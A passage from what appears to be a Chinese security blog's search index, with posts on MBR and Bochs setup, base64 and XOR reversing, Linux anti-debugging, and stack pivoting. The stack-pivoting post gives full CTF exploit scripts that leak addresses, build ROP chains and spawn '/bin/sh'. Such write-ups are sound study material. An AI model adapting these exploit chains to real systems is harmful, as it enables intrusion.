便开始检测内存、显卡等外设信息,当检测通过,并初始化好硬件后,开始在内存中0x000~0x3FF处建立数据结构,中断向量表 IVT 并填写中断例程。\n为什么是0x7c00计算机执行到这里 BIOS 也即将完成自己的使命。\nBIOS 最后一项工作校验启动盘中位于 0 盘 0 道 1 扇区的内容,即磁盘上最开始那个扇区。\n如果扇区的末尾的两个字节分别是魔数0x55和0xaa,BIOS 便认为此扇区中确实存在可执行的程序,便加载到物理地址0x7c00,随后跳转到此地址,继续执行。\n这里有一个小细节,BIOS 跳转到0x7c00是用jmp 0:0x7c00实现的,这是jmp指令的直接绝对远转移用法,段寄存器cs会被替换,这里的段基址是 0,即cs由之前的0xf000变成了 0。\n至于为什么跳转地址是0x7c00,是因为历史遗留问题导致的。\n而这个地址就是MBR(主引导记录)\nMBR就是负责加载启动操作系统的,但是以MBR的程序大小根本无法启动整个操作系统,所以它通过加载一个加载器间接启动操作系统。\n让 MBR 先飞一会编写可以在裸机上运行的MBR程序。\nMBR的大小必须是512字节,这是为了保证0x55和0xaa这两个魔数恰好出现在该扇区的最后两个字节处,即215字节处和第511字节处,这是按起始偏移为 0 算起的。\n$ 和 $ $,section$和$$是编译器 NASM 预留的关键字,用来表示当前行和本section的地址,起到了标号的作用,跟伪指令差不多就是给编译器识别的。\n标号\ncode_start:\tmov ax,0\n\n标号被nasm认为是一个地址,code_start只是个标记,交给nasm编译器识别,跟伪指令也差不多。\n$属于 “隐式地” 藏在本行代码前的标号,也就是编译器给当前行安排的地址。\ncode_start\tjmp $\n\n上面这行代码跟jmp code_start是等效的。\n$$指代本section的起始地址,此地址同样是编译器给安排的。\n$和$$,默认情况下,它们的值是相对于本文件开头的偏移量。至于实际安排的是多少,还要看是否在section中添加了vstart。这个关键字可以影响编译器安排地址的行为,如果该section用了vstart=xxxx修饰,$$的值则是此secton的虚拟起始地址xxxx。$的值是以xxxx为起始地址的顺延。如果用了vstart关键字,通过section.节名.start获得section在文件中的真实偏移量(真实地址),\n如果没有定义section,nasm默认全部代码同为一个section,起始地址为0。\nsection也是一个伪指令,从名字上就可以知道它的含义是节、段。section是用于给开发者规划代码用的。可以提高程序的可维护性。\nNASM简单用法nasm -f <format><filename> [-o <output>]\n\n以上是nasm的基本用法。\n-f用来指定输出文件的格式。\n\n代码分析实现功能用汇编语言编写输出Hello World!的程序。程序共512字节,最后两个字节是0x55和0xaa,中间不足的补0。\n代码逻辑\n清屏\n获取光标位置\n在光标位置处打印Hello World!\n\n代码通过使用0x10中断(BIOS中断),调用的方法是把功能号送入ah寄存器,其它参数按照BIOS中断手册的要求放在适当的寄存器中,然后执行int 0x10即可。\n代码实现 ;主引导程序 ;------------------------------------------------------------SECTION MBR vstart=0x7c00 mov ax,cs ;此时cs寄存器为0,自然可以用来将ax寄存器置0 mov ds,ax mov es,ax mov ss,ax mov fs,ax mov sp,0x7c00 ; 清屏 利用0x06号功能,上卷全部行,则可清屏。 ; ----------------------------------------------------------- ;INT 0x10 功能号:0x06\t 功能描述:上卷窗口 ;------------------------------------------------------ ;输入: ;AH 功能号= 0x06 ;AL = 上卷的行数(如果为0,表示全部) ;BH = 上卷行属性 ;(CL,CH) = 窗口左上角的(X,Y)位置 ;(DL,DH) = 窗口右下角的(X,Y)位置 ;无返回值: mov ax, 0x600 ;ah中输入功能号 mov bx, 0x700 ;设置上卷行属性,0x07表示用黑底白字的属性填充空白行 mov cx, 0 ;左上角: (0, 0) mov dx, 0x184f\t ;右下角: (80,25)\t\t\t ;VGA文本模式中,一行只能容纳80个字符,共25行。\t\t\t ;下标从0开始,所以0x18=24,0x4f=79 int 0x10 ;int 0x10 ;;;;;;;;; 下面这三行代码是获取光标位置 ;;;;;;;;; mov ah, 3\t\t ;输入: 3号子功能是获取光标位置,需要存入ah寄存器 mov bh, 0\t\t ;bh寄存器存储的是待获取光标的页号 int 0x10\t\t ;输出: ch=光标开始行,cl=光标结束行\t\t \t ;dh=光标所在行号,dl=光标所在列号 ;;;;;;;;; 获取光标位置结束 ;;;;;;;;;;;;;;;; ;;;;;;;;; 打印字符串 ;;;;;;;;;;; ;还是用10h中断,不过这次是调用13号子功能打印字符串 mov ax, message mov bp, ax\t\t ; es:bp 为串首地址, es此时同cs一致,\t\t\t ; 开头时已经为sreg初始化 ; 光标位置要用到dx寄存器中内容,cx中的光标位置可忽略 mov cx, 0xc\t\t ; cx 为串长度,不包括结束符0的字符个数 mov ax, 0x1301\t ; 子功能号13是显示字符及属性,要存入ah寄存器,\t\t\t ; al设置写字符方式 ah=01: 显示字符串,光标跟随移动 mov bx, 0x2\t\t ; bh存储要显示的页号,此处是第0页,\t\t\t ; bl中是字符属性, 属性黑底绿字(bl = 02h,07是黑底白字) int 0x10\t\t ; 执行BIOS 0x10 号中断 ;;;;;;;;; 打字字符串结束\t ;;;;;;;;;;;;;;; jmp $\t\t ; 使程序悬停在此 message db "Hello World!" times 510-($-$$) db 0 db 0x55,0xaa\n\n将代码保存为mbr.s文件\n之后将代码文件通过nasm编译,然后用dd命令写入bochs的虚拟硬盘。\nnasm mbr.s -o test\n\n写入命令\ndd if=/root/test of=/root/bochs/hd60M.img bs=512 count=1 conv=notrunc\n\nif指定要读取的文件,of指定把数据输出到哪个文件。\nbs是要读写的块大小,这里是要读写一个512字节的块;count是指定拷贝的块数,这里是1;conv是指定如何转换文件,这里就不转换。\n运行查看效果\nbochs -f bochsrc.disk\n输出\n1. Restore factory default configuration2. Read options from...3. Edit options4. Save options to...5. Restore the Bochs state from...6. Begin simulation7. Quit nowPlease choose one: [6]\n\n回车,然后输入c(continue)。\n即可看到输出的Hello World!\n到这里已经完成了MBR的初步编写\n后言\n参考链接:用《操作系统真象还原》写一个操作系统 第二章 编写MBR主引导记录,让我们开始掌权\n\n","categories":["操作系统原理"],"tags":["读书笔记","kernel"]},{"title":"栈迁移","url":"/2024/10/24/pwn/stack_pivoting/","content":"原理栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。\n 核心概念\n\nEBP(栈帧寄存器):每次函数调用时,EBP用于维护栈帧结构。通过修改EBP指向攻击者可控的区域,函数栈空间也会发生改变。\nESP(栈指针寄存器):ESP指向栈顶,控制其地址后可以改变程序执行流,通常栈迁移会将其劫持到一个无需长度限制的区域,比如 bss 段。\n\n 使用场景栈迁移主要用于缓冲区溢出攻击中的特殊情况:\n\n缓冲区较小:当溢出的空间只能覆盖到两个字长的栈内容时,栈迁移可以帮助攻击者突破限制,扩展控制范围。\n受限输入:当攻击者可输入的数据长度不足以直接覆盖 EIP 时,通过栈迁移可以进一步获得对程序的控制。\n\n 操作流程\n\n覆盖 EBP 和 EIP:通过缓冲区溢出将栈帧寄存器(EBP)覆盖,使得函数调用时栈帧指向攻击者控制的区域。\n调用 leave; ret gadget:leave 指令会将 EBP 的值赋给 ESP,使得栈指针迁移到新的区域,随后通过 ret 指令恢复执行流。 \nleave 指令:mov esp, ebp 和 pop ebp,使 ESP 和 EBP 同时被控制。\nret 指令:跳转到新的返回地址,这通常是由攻击者精心设计的 ROP 链。\n\n\n执行 ROP 链:在新栈区域中,攻击者可以通过 ROP(Return-Oriented Programming)链进行任意代码执行。\n\n 实际应用栈迁移常常通过将 EBP 和 ESP 指向 bss 段等长度不受限制的内存区域,使得攻击者可以操作更多的栈空间。通过 leave; ret gadget,有效利用溢出的少量字节数来改变程序执行逻辑,从而实现进一步的利用。\n 优化策略\n\n选择合适的栈迁移目标区域:bss 段是常见的迁移目标,它通常没有长度限制且可读写,适合存储 ROP 链。\n**精确利用 leave; ret**:利用好这两个指令可以确保栈指针成功迁移,并让攻击者在迁移后的控制区域继续执行代码。\nROP 链灵活设计:根据不同场景设计和优化 ROP 链,确保在栈迁移后能够顺利控制程序的后续执行。\n\n栈迁移技术扩展了攻击者的控制范围,是解决栈空间不足问题的有效手段,在实际安全研究和攻击中广泛应用。\n\nleave == mov esp,ebp; pop ebp;ret == pop eip\n\n通用模板记忆\n第一次栈迁移进行rbp修改让下次输入指向我们需要的地方第二次栈迁移修改rsp让程序正常第三次正常rop构造第四次等同第一次第五次getshell rop链\n\npadding+p64(fake_stack)+p64(leave)\n\n栈上迁移栈上栈迁移的重点是要泄露栈帧\n\n[HDCTF 2023]KEEP ON\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]format=b"%16$p"sa(b"name: \\n",format)ru(b"hello,")leak_ebp=int(r(14),16)success(hex(leak_ebp))target=leak_ebp-0x60-8leave=0x4007f2rdi=0x00000000004008d3sys=elf.plt.systemsh=target+32payload=p64(rdi)+p64(sh)+p64(sys)+b"/bin/sh\\x00"payload=payload.ljust(80,b"a")+p64(target)+p64(leave)sa("keep on !\\n",payload)ia()\n\n\n\n[CISCN 2019东南]PWN2]\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]context.arch="i386"sa(b"name?\\n",b'a'*(0x28-1)+b'b')ru(b"aaab")#泄露的ebp地址leak_ebp=u32(ru(b"\\xff"))off=0x38leave=0x8048593#payload开始地址target=leak_ebp-off-0x4sh=leak_ebp-off+0xcpayload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b"/bin/sh\\x00"payload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)s(payload)ia()\n\n迁移到bss段例题\n2024 羊城杯 pstack\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]libc=ELF("./libc.so.6")context.arch=elf.archrdi=0x0000000000400773ret=0x0000000000400506 leave_ret=0x4006dbbss=elf.bss()+0x500vuln=0x4006c4rbp=0x4005b0puts_got=elf.got.putsputs_plt=elf.plt.putspay1=b'a'*0x30+p64(bss+0x30)+p64(vuln)s(pay1)pay2=p64(rdi)+p64(puts_got)+p64(puts_plt)pay2+=p64(rbp)+p64(bss+0x200+0x30)+p64(vuln)pay2+=p64(bss-8)+p64(leave_ret)s(pay2)ru(b"flow?\\n")puts_addr=u64(ru(b"\\x7f")[-6:].ljust(8,b'\\x00'))base=puts_addr-libc.sym.putssys=base+libc.sym.systemsh=base+libc.search("/bin/sh\\x00").__next__()pay3=(p64(rdi)+p64(sh)+p64(sys)).ljust(0x30,b'\\x00')pay3+=p64(bss+0x200-0x8)+p64(leave_ret)s(pay3)ia()\n\n\n[NSSRound#14 Basic]rbp\n\n\n[HNCTF 2022 WEEK2]pivot\n\n\n[HGAME 2023 week1]orw\n\n\n[CISCN 2019华南]PWN4\n\n\n[HDCTF 2023]Minions\n\n\n[HDCTF 2023]Makewish\n\n\n[强网杯 2022]devnull\n\n\n[MTCTF 2021]babyrop]\n\n\n[SCTF 2022]Secure Horoscope\n\n后言\n参考链接: https://ctf-wiki.org/参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)\n\n","categories":["pwn"],"tags":["花式栈溢出"]},{"title":"逆向中的基本加密算法","url":"/2024/10/24/rev/base/","content":"偏移原理偏移加密主要是基于ASCII码表的偏移加密。\n我们都知道在C语言中字符按照ASCII码表进行编码。\n偏移加密即是将明文对应的ASCII码进行加或减去一个值(偏移),取最后结果在ASCII码表中的值。\n通过将偏移加密的密文再反向偏移,最后的值转换为字符就可得到明文。\n例题\n[SWPUCTF 2021 新生赛]re2\n\n\n思路\n\n常规流程,先exeinfo查壳。\n发现为64位程序并且无壳。\n\n程序运行一下,随意输入报错。\n判断程序内部存在字符串比较。\n\nida打开分析\n\n根据代码逻辑利用快捷键n给函数和变量重命名,使其便于阅读。\n\nstrcpy函数将一串字符复制进定义的str数组中。\n然后输出提示输入flag。\ngets函数获取输入并将输入存入input数组\nstrlen函数获取输入长度并将其存入len变量。\nfor循环根据输入字符串长度为循环条件,对字符进行遍历处理。\nstrcmp将处理后的输入字符串与str数组进行比较。\n相同则输出right,不同则输出wrong\n所以str就是密文,我们需要根据字符加密逻辑代码对它进行逆运算。\n分析加密代码,将所有非a、b和A、B字符进行ASCII码减2加密。其他字符进行加24加密。\n\n根据思路构造exp\n\nexp\n\n#include<stdio.h>#include<string.h>int main(){ char str[]={"ylqq]aycqyp{"}; int n=0; n=strlen(str); for(int i=0;i<n;i++){ if((str[i]<=94 || str[i] >96 )&&(str[i]<=62 || str[i]>64)) str[i] += 2; else str[i] -= 24; } printf("%s\\n",str); return 0; } //{nss_c{es{r}\n\n\n异或原理异或运算是一个二元运算,运算符为 ^\n异或的性质:\n\n明文 ^ 密钥 = 密文\n密文 ^ 密钥 = 明文\n\n对于异或运算而言,它的逆运算就是本身。\n例题\n[HNCTF 2022 Week1]X0r\n\n思路\n下载附件\n先运行一下\n\n提示输入flag,随意输入报错。\nida打开分析\n分析代码逻辑\n将内容输入到str字符数组中,如果输入内容的长度不等于22则报错。\nfor循环循环22次,if判断条件对字符进行处理。\nstr[i]异或0x34再加上900如果不等于arr[i]字符则输出flag错误。\n查看arr数组内容\n所以我们需要让条件判断不成立,即让arr[i]等于运算结果。\n根据异或运算的原理,密文异或密钥等于明文。我们可以将运算中要用到的内容(如0x34,900)看作是密钥,很明显arr[i]就是密文。\n所以我们只要根据密文和密钥求出明文即可。只需要对运算逻辑进行逆运算即可。\n接下来提取密文的内容将光标放在数组名处,通过shfit+e将数据提取出来这里选择 initialized c variable(初始化的c变量)提取。可以直接提取原数据类型的值。\n\n接下来直接复制内容粘贴到脚本里。\n用python编写的话,将C语言数组格式写成python列表格式。\n\n根据代码逻辑进行逆运算构造exp\nexp\ndata=[1022,1003,1003,1019,996,1014,979,976,904,970,1007,905,971,1007,971,904,1007,981,985,971,977,973,0,0,0,0,0,0,0,0,0,0]flag=""#循环为22,所以我们只取22个数据for i in range(0,22):#chr函数是将结果转换为ASCII编码\tflag+=chr((data[i]-900)^0x34)print(flag)#结果:NSSCTF{x0r_1s_s0_easy}\n\n\n","categories":["reverse"],"tags":["加密算法"]},{"title":"《操作系统真象还原》chapter1 环境搭建","url":"/2024/10/24/system/system-1/","content":"\n环境:wsl Ubuntu22.04\n\n安装GCC安装gcc\napt install gcc\n安装NASMNASM是一个多平台的汇编编译器,语法简洁易用。\napt install nasm\n安装BochsBochs是一个用于模拟硬件的虚拟机。\n包管理安装\napt install bochs\n源码编译安装\n\n下载源代码\n\nwget https://sourceforge.net/projects/bochs/files/bochs/2.7/bochs-2.7.tar.gz/download\n\n编译安装\n\n./configure --prefix=/home/kanshan/Desktop/bochs --enable-debugger --enable-disasm --enable-iodebug --enable-x86-debugger --with-x --with-x11 LDFLAGS='-pthread'makemake install\n\n配置Bochsbochs启动时会根据配置文件进行创建\n所以我们要编写一个配置文件给bochs配置硬件。\n编译安装的目录下有样本文件:share/doc/bochs/bochsrc-sample.txt\napt包管理安装的bochs的配置文件在/etc/bochs-init/bochsrc目录下\n# bochs configuration file # bochsrc.disk# memory size: 32MB# 设置 Bochs 在运行过程中能够使用的内存,本例为 32MBmegs: 32# BIOS and VGA BIOS# 设置对应的真实机器的 BIOS 和 VGA BIOS# 软件安装位置romimage: file=/usr/share/bochs/BIOS-bochs-latestvgaromimage: file=/usr/share/bochs/VGABIOS-lgpl-latest# boot from hard disk (rather than floppy disk)# 选择启动盘符boot: disk# log file# 设置日志文件的输出log: bochs.out# disable mouse, enable keyboard# 关闭鼠标,并打开键盘mouse: enabled=0keyboard: keymap=/usr/share/bochs/keymaps/x11-pc-us.map# hard disk settingata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14# gdb part setting#gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0\n\n我们将上面的配置存为bochsrc.disk放在bochs安装目录下。\n运行Bochs运行bochs需要给它创建一个虚拟启动盘\n用于创建虚拟硬盘的工具bin/bximage\n创建虚拟硬盘,输入命令bin/bximage\n然后在输出的交互窗口中依次输入\nPlease choose one [0]1Please type hd or fd. [hd]hdPlease type flat, sparse, growing, vpc or vmware4. [flat]flatPlease type 512, 1024 or 4096. [512]回车[10]60[c.img]hd60M.img\n\n最后一个hd60M.img是我们创建的虚拟硬盘的名称。\n然后在配置文件中添加以下内容\n# hard disk settingata0-master: type=disk, path="hd60M.img", mode=flat,cylinders=121,heads=16,spt=63\n\n接下来我们通过经典Hello World!的代码来测试运行\n将代码保存为mbr.s文件\nSECTION MBR vstart=0x7c00\tmov ax,0x0000\t\tmov ss,ax\tmov ax,0x7c00\tmov sp,ax\t \tmov ax,0x0600\tmov bx,0x0700\t mov cx,0x0000\tmov dx,0x184f\t\tint 0x10\t\tmov ax,0x0300\t\tmov bx,0x0000\t\tint 0x10\t\tmov ax,0x0000\tmov es,ax\tmov ax,message\tmov bp,ax\tmov ax,0x1301\tmov bx,0x0007\tmov cx,0x000c\tint 0x10\t\tjmp $\tmessage db "Hello World!"\ttimes 510-($-$$) db 0\tdb 0x55,0xaa\n\nnasm编译代码为可执行文件\n执行命令nasm mbr.s -o test\n然后将可执行文件写入虚拟机启动磁盘\nif后面填写二进制文件路径,of后面填写磁盘路径。\ndd if=/root/test of=/root/bochs/hd60M.img bs=512 count=1 conv=notrunc\n启动虚拟机查看效果,-f加载配置文件\nbochs -f bochsrc.disk\n输出\n1. Restore factory default configuration2. Read options from...3. Edit options4. Save options to...5. Restore the Bochs state from...6. Begin simulation7. Quit nowPlease choose one: [6]\n\n回车,然后输入c(continue)。\n即可看到输出的Hello World!\n到这里我们的环境已经搭建成功了!\n后言\n参考链接:用《操作系统真象还原》写一个操作系统 第二章 编写MBR主引导记录,让我们开始掌权\n\n","categories":["操作系统原理"],"tags":["读书笔记","kernel"]},{"title":"base64逆向加密算法分析","url":"/2024/10/24/rev/base64/","content":"简介base64编码根据编码表将一段二进制数据映射成64个可显示字母和数字组成的字符集合,主要用于传送图形、声音等非文本数据。\n标准 base64 编码表\n编码原理原理下面我们通过将明文 “abc” 进行 base64 编码来讲解 base64 编码原理。\n1.首先将明文每三个字节分为一组,每个字节8bit,共24bit。\n\n2.将24bit划分为四组,每组6bit,4组共24bit\n\n3.将每组用0补齐为8bit,4组共32bit。\n黄色部分就是补齐的0。\n将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。\n\n编码结果就是 “YWJj”\n如果编码后的字符不是4的倍数,后面用 “=” 填充补齐。\n代码实现//定义一个常量指针指向一个常量字符串const char * const table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"//data是用于指向需要编码的常量数据的指针//base64指针指向一块内存用于存储编码后的basse64字符串//length是输入数据的长度char * encode( const unsigned char * data, char * base64, int length ){ //用于遍历输入数据和base64字符 int i, j; //用于存储当前处理的字符 unsigned char current; //循环遍历输入数据,每次处理3个字节 for ( i = 0, j = 0 ; i < length ; i += 3 ){ //获取第一个字节的前六位 current = (data[i] >> 2) ; //与0x3f进行按位与操作,取字节前6位\t\t//0x3f=00111111 current &= (unsigned char)0x3F; //使用编码表数组将结果映射为base64字符,并将结果存储在输出指针中 base64[j++] = table[(int)current]; //将第一个字节左移4位,与0x30按位与,取其后2位\t //0x30=00110000 current = ( (unsigned char)(data[i] << 4 ) ) & ( (unsigned char)0x30 ) ; //如果没有第二个(即输入长度不足2个字节),则直接填充“=”字母并返回 if ( i + 1 >= length ) { base64[j++] = table[(int)current]; base64[j++] = '='; base64[j++] = '='; break; } //第二个字节右移4位,取其前4位,与之前第一个字节后两位合并 //00110000 //或 //00001111 current |= ( (unsigned char)(data[i + 1] >> 4) ) & ( (unsigned char) 0x0F ); //将结果映射到base64编码表,并存储到返回指针 base64[j++] = table[(int)current]; //将第二个字节左移2位,与0x3c按位与取其后四位 //00111100 current = ( (unsigned char)(data[i + 1] << 2) ) & ( (unsigned char)0x3C ) ;\t\t//如果没有第三个字节,则填充=号并返回 if ( i + 2 >= length ) { base64[j++] = table[(int)current]; base64[j++] = '='; break; }\t\t//将第三个字节右移6位,取其前2位,与之前的结果合并 current |= ( (unsigned char)(data[i + 2] >> 6) ) & ( (unsigned char) 0x03 ); //将结果映射到编码表,并存储到返回指针 base64[j++] = table[(int)current]; //将第三个字节与0x3f进行按位与操作,取其后六位 current = ( (unsigned char)data[i + 2] ) & ( (unsigned char)0x3F ) ; //将结果转换为base64字符,并存储到返回指针 base64[j++] = table[(int)current]; } //拼接上字符串结束字符 base64[j] = '\\0'; //将存储密文的指针返回 return base64;}\n\n\n解码原理原理解码就是编码的逆过程。\n获取密文 “YWJI” 每一个字符在 base64 编码表中的下标。\n然后将这些下标对应的值的二进制值连接起来,重新划分为8位为一组。\n之后转换为每字节对应的ASCII码即可得到编码的内容。\n在CTF比赛中一般都是以python编写解密脚本。\n代码实现//参数1:base64密文//参数2:解密后的明文int decode( const char * base64, unsigned char * data ){ int i, j; //用于遍历base64编码表的变量 unsigned char k; //用于存储遍历的字节 unsigned char temp[4]; //循环遍历base64字符串,一次遍历4个字节 for ( i = 0, j = 0; base64[i] != '\\0' ; i += 4 ) { memset( temp, 0xFF, sizeof(temp) ); for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i] ) temp[0] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 1] ) temp[1] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 2] ) temp[2] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 3] ) temp[3] = k; }\t\t//将密文的前两个字符解码为原始数据的第一个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2)) & 0xFC)) | ((unsigned char)((unsigned char)(temp[1] >> 4) & 0x03)); //如果第三个字节为=号填充符,就返回 if ( base64[i + 2] == '=' ) break;\t\t//将密文的第二个字符和第三个字符解码为原始数据的第二个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4)) & 0xF0)) | ((unsigned char)((unsigned char)(temp[2] >> 2) & 0x0F)); //如果第四个字节为=号填充符,就返回 if ( base64[i + 3] == '=' ) break; \t\t//将密文的第三个字符和第四个字符解码为原始数据的第三个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6)) & 0xF0)) | ((unsigned char)(temp[3] & 0x3F)); } //返回解码后的数据长度 return j;}\n\n逆向中的base64特征识别\n字符串编码表识别\n加密填充符识别(一般为=号)\nbit:3 * 8变4 * 6\n输入参数会被移位拼接,移位位数为 2、4、6位,将3字节拆成4字节\n理解编码原理,编码时通常都会用3个字节一组来处理比特位数据,这些特征都可以用来分析识别。\n\n\n移位运算中左移1位等于乘以2,右移1位等于除以2\n\n\n常规魔改:编码表(TLS、SMC等各种反调试位置)\n魔改1.修改编码表2.修改下标将base64的编码查表下标对应关系修改,对于这种修改,我们只需要推导出下标逆计算即可。\n例题常规\nBUUCTF-reverse3\n\n拿到程序查壳,发现无壳\n之后运行一下,随意输入一串字符判定为字符串比较\n\nida打开分析一下,发现主函数中只调用了一个main_0函数\n进入查看\n先将函数和变量改一下名,提高代码可读性。\n·sub_41132f用于显示字符串,判断为printf利用快捷键n改名为printfsub_411375根据其后参数判定为scanf,用于向str数组输入最多20个字符。将其函数改为scanf,将str数组改为input。j_strlen函数判断为获取字符串长度的函数strlen,将获取结果的变量v3改为input_length便于阅读。\n可以看到函数sub_4110be对我们输入的数据进行了处理无法判断函数sub_4110be的功能,所以进入查看。\n发现调用了一个函数,继续进入查看\n分析主要代码逻辑\n进行了很多移位拼接操作,很明显的base64加密\n更简单的方法是打开字符串窗口查看一下\n\n发现base64编码表字符串,判断为base64加密\n所以sub_4110be为加密函数,变量v4为返回的密文。根据逻辑重命名一下\n接下来继续分析\nstrncmp函数将密文复制0x28个字节到destination中\n接下来计算密文长度\n然后对密文做了移位运算\n然后获取运算后的密文长度\n通过strncmp函数对密文和str2变量比较密文长短的内容\n如果相等则输入flag正确\n所以str2就是加密后的密文\n\n我们通过密文和加密逻辑逆向构造exp。\nexp通过python的base64库来构造解密exp\nimport base64#密文s="e3nifIH9b_C@n@dH"flag=""for i in range(len(str)): flag+=chr(ord(str[i])-i)print(base64.b64decode(flag))#flag{i_l0ve_you}\n\n\n换表\nBUUCTF 特殊的 BASE64\n\n原理换表就是将映射的编码表修改掉,但是加密过程是仍然不变的。前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。魔改编码表同样如此,所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。再进行常规解密。\n拿到程序后一般流程查壳,发现无壳\nida打开分析,发现为c++程序\n先查看一下字符串表\n第一行是很明显的base64编码字符串\n选中那行可能就是魔改后的编码表\n分析main函数代码逻辑\n\n根据前面发现的魔改编码表则使用常规解密的方法一定是不行的,所以我们必须换种方法。\n在构造exp之前还是先看一下加密函数\n分析base64加密函数\n发现在初始化a1的时候用的是unk_489084,进入查看一下\n发现为字符串窗口查看到的字符串,则确实为换表加密。\n根据逻辑构造exp\nexp\nimport base64import string#密文enc = "mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=="#魔改后的编码表table1 = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"#原编码表table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"#将密文映射为原编码表a=enc.translate(str.maketrans(table1,table2))print(base64.b64decode(a).decode())#flag{Special_Base64_By_Lich}\n\n\n后言\n参考链接:彻底弄懂base64的编码与解码原理 - 掘金 (juejin.cn)参考链接:reverse逆向算法之base64和RC4_base64”和 rc4-CSDN博客\n\n","categories":["reverse"],"tags":["加密算法"]},{"title":"linux反调试","url":"/2024/10/25/rev/linux-anti-debug/","content":"反调试技术是为了防止调试器对程序进行调试和逆向工程。在 Linux 环境中,反调试技术主要利用系统调用、信号处理以及特殊的汇编指令来实现。\n接下来我们介绍一下 Linux 下常见的反调试技术。\n利用getppid在Linux上要跟踪一个程序,必须是它的父进程才能做到,因此,如果一个程序的父进程不是意料之中的bash等(而是gdb,strace之类的),那就说明它被跟踪。\n只能检测到gdb调试\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <string.h>int get_name_by_pid(pid_t pid, char *name) { int fd; char buf[1024] = {0}; snprintf(buf, sizeof(buf), "/proc/%d/cmdline", pid); if ((fd = open(buf, O_RDONLY)) == -1) { return -1; } ssize_t bytesRead = read(fd, buf, sizeof(buf) - 1); close(fd); // Close file descriptor if (bytesRead < 0) { return -1; // Handle read error } buf[bytesRead] = '\\0'; // Ensure null-terminated strncpy(name, buf, 1023); name[1023] = '\\0'; // Ensure null-terminated return 0;}int main(int argc, char *argv[]) { char name[1024]; pid_t ppid = getppid(); if (get_name_by_pid(ppid, name) != 0) { perror("Failed to get process name"); return EXIT_FAILURE; } if (strcmp(name, "bash") == 0 || strcmp(name, "init") == 0) { printf("OK!\\n"); } else if (strcmp(name, "gdb") == 0 || strcmp(name, "strace") == 0 || strcmp(name, "ltrace") == 0) { printf("Traced!\\n"); } else { printf("Unknown traced\\n"); } return EXIT_SUCCESS;}\n\n利用session id不论程序是否被调试器跟踪,session id是不变的,而ppid会变。\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(){ if(getsid(getpid())!=getppid()){ puts("debugging"); exit(0); } puts("not debugging"); return 0;}\n\n\nptrace系统调用一个进程只能被一个进程ptrace,如果你自己调用ptarace,这样其它程序就无法通过ptrace调试(或者向你的程序进程注入代码)\n如果进程已经被调试器跟踪了还再调用ptrace就不会成功。\nptrace的处理要么就是让它不执行,要么就是直接将其nop掉。\n使用ptrace可以检测是否有其他进程在调试当前进程。具体方法是尝试用ptrace附加到自身,如果成功则说明没有被调试。\n #include <sys/ptrace.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ if(ptrace(PTRACE_TRACEME,0,1,0)==-1){ printf("debugger\\n"); exit(0); } printf("No debugger\\n"); return 0;}\n\n检测父进程只能检测到gdb\n通过读取父进程的命令行信息,检测当前程序是否在调试器下运行。\n#include <stdio.h>#include <string.h>int main(int argc, char *argv[]) { char buf1[0x20], buf2[0x100]; FILE* fp; snprintf(buf1, 24, "/proc/%d/cmdline", getppid()); fp = fopen(buf1, "r"); fgets(buf2, 0x100, fp); fclose(fp); if(!strcmp(buf2, "gdb") || !strcmp(buf2, "strace")||!strcmp(buf2, "ltrace")) { printf("Debugger detected"); return 1; } printf("All good"); return 0;}\n\n\n检测进程运行状态Linux在/proc/self/status中保存了进程的状态信息。通过检查TracerPid字段,可以判断当前进程是否被调试器控制。如果TracerPid不为0,则说明该进程正在被调试。\n#include <stdio.h>#include <string.h>int is_debugged() {\t//打开一个文件,该文件包含当前进程的状态信息 FILE *status = fopen("/proc/self/status", "r"); //如果文件打开失败,则未检测到调试器 if (status == NULL) return 0;\t//读取文件内容 char line[256]; while (fgets(line, sizeof(line), status)) {\t //查找TracerPid行 if (strncmp(line, "TracerPid:", 10) == 0) { fclose(status); //检查TracerPid的值 //获取TracerPid后面的数字部分,并检查它是否大于0. //如果大于0则表示有进程在跟踪当前进程 return atoi(line + 10) > 0; } } fclose(status); return 0;}int main() { if (is_debugged()) { printf("Debugger\\n"); } else { printf("No debugger\\n"); } return 0;}\n\n利用环境变量只能检测到gdb\n在Linux中,bash有一个环境变量叫$_,它保存的是上一个执行的命令的最后一个参数。如果在被跟踪调试的状态下,这个变量的值会发送变化。\n#include <stdio.h>#include <stdlib.h>#include <string.h>// 检测是否被调试void is_debugging(char *program_path) { // 获取环境变量 "_" const char *env_path = getenv("_"); printf("Environment Path: %s\\n", env_path); printf("Program Path: %s\\n", program_path); // 如果环境变量与程序路径不一致,判断为被调试 if (strcmp(program_path, env_path) != 0) { printf("No debugging 